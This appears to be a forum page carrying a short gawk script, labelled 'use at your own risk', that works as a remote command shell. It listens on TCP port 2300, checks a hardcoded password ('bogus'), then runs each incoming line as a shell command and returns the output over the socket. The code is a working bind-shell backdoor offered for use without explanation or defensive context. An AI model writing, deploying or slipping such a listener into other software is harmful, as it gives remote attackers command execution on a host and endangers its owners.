Follow along with the video below to see how to install our site as a web app on your home screen.
Note: This feature may not be available in some browsers.
#use at your own risk
function interpreter(cmd,auth, list) {
if (auth && cmd) {
print "Sending", cmd
while ((cmd | getline) > 0) {
list = length(list) < 1 ? $0"\n" : list"\n"$0
}
}
close(cmd)
return list
}
BEGIN {
passwd = "bogus"
socket = "/inet/tcp/2300/0/0"
while (1) {
while ((socket |& getline) > 0) {
if (!auth) {
printf "Password: " |& socket
if ((socket |& getline) > 0 && $0 == passwd) {
auth = 1
} else {
print "Sorry, wrong password: ",$0 |& socket
auth = 0
}
}
print "AwkRemote Command Shell--> #", cnt |& socket
res = interpreter($0,auth)
print res |& socket
}
close(socket)
auth = 0
socket |& getline
}
}